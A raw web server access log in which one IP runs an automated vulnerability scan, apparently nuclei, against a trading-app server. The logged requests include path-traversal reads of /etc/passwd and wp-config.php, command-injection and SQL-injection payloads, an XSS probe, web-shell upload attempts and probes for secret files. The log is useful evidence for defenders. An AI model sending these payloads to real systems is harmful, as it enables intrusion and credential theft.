[09/Jan/2026:10:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/frame.html?content=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/admin/pipelines/create?group=defaultGroup HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.yml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=691&site_id=s3&event1=banner&event2=click&event3=1+%2F+%5B691%5D+%5BNEW_INDEX_BANNERS%5D+Trade-in+football&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.js HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/production.db HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.tgz HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.save HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2.0/systeminfo HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /google-api-private-key.json HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /center/api/files;.js HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /google-services.json HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CHANGELOG.md HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dgn/dgn_tools/ping.php?ipdm=2;id; HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/agent/service/register HTTP/1.1" 220
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /listinfo HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /bic/ssoService/v1/applyCT HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vault/auth HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/user.xml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gradle/libs.versions.toml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /eps/api/resourceOperations/upload?token=524F4D1A17AF023E32043AD15DF90AF1 HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /bic/ssoService/v1/applyCT HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/frame.A100.html?sidebar=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hm/login.action HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pprof/heap?debug=1 HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/log/error.log HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis/env HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /geoserver/web/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/user/signup/step2 HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /eps/resourceOperations/upload.action HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /./../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10 HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927565080 HTTP/1.1" -
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.dev HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/ HTTP/1.1" 199
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dbconsole/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /userportal/documentation/mapping.json HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/main?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslmgr HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.production.ini HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=129&event1=banner&event2=click&event3=5+%2F+%5B129%5D+%5BGARMIN_AKCII%5D+Garmin+%E1%EE%ED%F3%F1+%ED%EE%E2%EE%F1%F2%FC+%E2+%E0%EA%F6%E8%E8&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //HyperGraphQL HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose-dev.yml HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/query HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.html HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/gpc.json HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /preview.php?controller=Load&action=index&catid=moztj%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ems3ea&down_up=a HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /UploadFileData?action=upload_file&filename=../380DIbdu5LdUOZ7rhgmdSjTagwO.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dfshealth.html HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/img/icons/favicon-32x32.png HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.db HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /h2-console/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /-/snippets HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.htm HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Guardfile HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/gcloud/credentials.db HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/sTmh3.jsp&name=222\" HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api-browser/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/all/libraries/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/agent/self HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gruntfile.js HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/status.php HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/tokens HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ganglia/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog-search?search=deneme%27%20AND%20(SELECT%201642%20FROM%20(SELECT(SLEEP(6)))Xppf)%20AND%20%27rszk%27=%27rszk HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.stage HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v2/query HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webclient/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /compress.php?file=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jobs HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/pimcore/google-api-private-key.json HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /him/api/rest/V1.0/system/log/list?filePath=../ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/CI.yml HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/system/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /haproxy-status HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../380DIShy7iO4Y2LsQOrbod3oCRl.txt&id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusterMgr/jqBbcE.jsp;.js HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/google-services.json HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ioffice/prg/set/wss/ioAssistance.asmx HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ioffice/prg/set/iocom/ioFileExport.aspx?url=/ioffice/web.config&filename=U6fkY.txt&ContentType=application/octet-stream HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hmc/hybris HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /standard/default.php HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web_caps/webCapsConfig HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs.versions.toml HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?380DIHve0SRvNr2ZL7TFpxc9kaF=../../../../../../../../etc/passwd&380DIHve0SRvNr2ZL7TFpxc9kaF=1%20and%20updatexml(1,concat(0x7e,(select%20md5(85703))),1) HTTP/1.1" 3426
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.toml HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/imp/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph/login HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis-portal/artemis/env HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hp/device/DeviceInformation/View HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/logs/error.log HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmldata?item=CpqKey HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/page/login.asp HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.dev.local HTTP/1.1" 196
[09/Jan/2026:10:54:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SSI/index.htm HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sm935/index.do HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /h2-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /htdocs/login/login.lua HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/main-cgi?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hopfully404 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chpstrt.php?chppath=Home HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hangfire HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api-docs HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download?type=files&filename=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2&event3=download&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.htaccess HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.htpasswd HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.htdeployment HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.prod.ini HTTP/1.1" 196
